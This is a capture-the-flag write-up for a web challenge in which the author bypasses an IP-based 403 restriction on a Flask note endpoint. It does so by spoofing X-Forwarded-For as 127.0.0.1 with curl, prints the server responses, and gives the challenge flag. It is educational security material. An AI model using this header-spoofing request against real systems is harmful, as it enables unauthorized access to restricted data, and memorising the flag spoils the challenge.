Reconnaissance#

Attempting to access the URL http://62.173.140.174:16096/note/27 directly results in a 403 Forbidden error.

1
HTTP/1.1 403 FORBIDDEN
2
Server: Werkzeug/3.1.3 Python/3.11.6
3
...
4
<div class="card">
5
    <p>Oops! You don't have permission to view this note.</p>
6
    <p>Maybe there is a secret way around this?</p>
7
</div>

The server identifies itself as Werkzeug/Python (Flask). The error message “Maybe there is a secret way around this?” combined with an “Easy” difficulty rating often suggests a restriction based on the client’s identity or location.

Vulnerability: IP Restriction Bypass#

In web applications, developers often restrict administrative or private endpoints to internal traffic (localhost) for security. However, if the application determines the client’s IP address using HTTP headers like X-Forwarded-For without proper validation, an attacker can spoof their IP.

The X-Forwarded-For header is a de-facto standard header for identifying the originating IP address of a client connecting to a web server through an HTTP proxy or a load balancer. If we manually inject this header, we can trick the server into believing the request is originating from the server itself (127.0.0.1).

Exploitation#

We use curl to send a GET request to the restricted endpoint while injecting the X-Forwarded-For header set to localhost.

1
curl -H "X-Forwarded-For: 127.0.0.1" \
2
     -v http://62.173.140.174:16096/note/27

The server accepts the spoofed IP and returns a 200 OK response containing the secret note.

1
HTTP/1.1 200 OK
2
Server: Werkzeug/3.1.3 Python/3.11.6
3
Content-Type: text/html; charset=utf-8
4

5
...
6
<div class="card">
7
    <pre>Congratulations! You've found the secret note.
8

9
Here is your flag:
10

11
CODEBY{byp4ss_4o3_err0r}
12
</pre>
13
</div>

Flag#

1
CODEBY{byp4ss_4o3_err0r}